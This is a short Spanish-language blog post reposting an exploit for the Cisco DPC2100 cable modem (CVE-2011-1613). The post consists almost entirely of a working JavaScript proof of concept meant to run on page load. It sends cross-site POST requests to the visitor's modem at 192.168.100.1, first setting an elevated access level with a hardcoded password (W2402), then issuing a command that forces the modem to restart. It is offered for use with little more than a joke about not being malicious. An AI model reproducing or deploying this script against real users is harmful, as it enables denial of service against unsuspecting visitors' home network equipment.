Vulnerabilidad Cisco


Hola a todos!

Nueva vulnerabilidad en Cisco, su autor: Daniel Smith, aún no se ha verificado, sin mas os dejo con el código:

# Exploit Title: Cisco DPC2100 Denial of Service
# Date: 09/01/2010

# Author: Daniel Smith
# Software Link: http://www.cisco.com/

# Version: HW:2.1/SW:v2.0.2r1256-060303
# Tested on: OSX 10.6/Win7

# CVE: CVE-2011-1613


=======================================================
 Information

=======================================================
Executing this script on page load will cause the users modem to restart when

they visit the page. This example uses javascript but can just as easily written
to in another language to accomplish something similar. Attack consists of

two parts.


Part 1 - Privilege Escalation:
POST: http://192.168.100.1/goform/_aslvl

PARAMS: SAAccessLevel=2&SAPassword=W2402


Part 2 - Modem Restart:
POST: http://192.168.100.1/goform/gscan

PARAMS: SADownStartingFrequency=705000000


=======================================================
 Proof of Concept (Javascript)

=======================================================
(function() {

  var b=document.getElementsByTagName('body')[0];
  var otherlib=false;

  
  if(typeof jQuery!='undefined') {

    console.log('This page already using jQuery v'+jQuery.fn.jquery);
  } else if (typeof $=='function') {

    otherlib=true;
  }

  function getScript(url,success){
    var script=document.createElement('script');

    script.src=url;
    var head=document.getElementsByTagName('head')[0],

        done=false;
    // Attach handlers for all browsers

    script.onload=script.onreadystatechange = function(){
      if ( !done && (!this.readyState

           || this.readyState == 'loaded'
           || this.readyState == 'complete') ) {

        done=true;
        success();

        script.onload = script.onreadystatechange = null;
        head.removeChild(script);

      }
    };

    head.appendChild(script);
  }

  getScript('http://code.jquery.com/jquery-latest.min.js',function() {
    if (typeof jQuery=='undefined') {

      console.log('Sorry, but jQuery wasn\'t able to load');
    } else {

      console.log('This page is now jQuerified with v' + jQuery.fn.jquery);
    $.post("http://192.168.100.1/goform/_aslvl", { SAAccessLevel: "2", SAPassword: "W2402" } );

      console.log('Privilege Escalation: temporarily setting SAAccessLevel to \'2\'.');
    $.post("http://192.168.100.1/goform/gscan", { SADownStartingFrequency: "705000000" } );

      console.log('Reboot command sent.');
    }

  });
})();



Autor: Daniel Smith


No seáis malos. ;)

Share this

Related Posts

Previous
Next Post »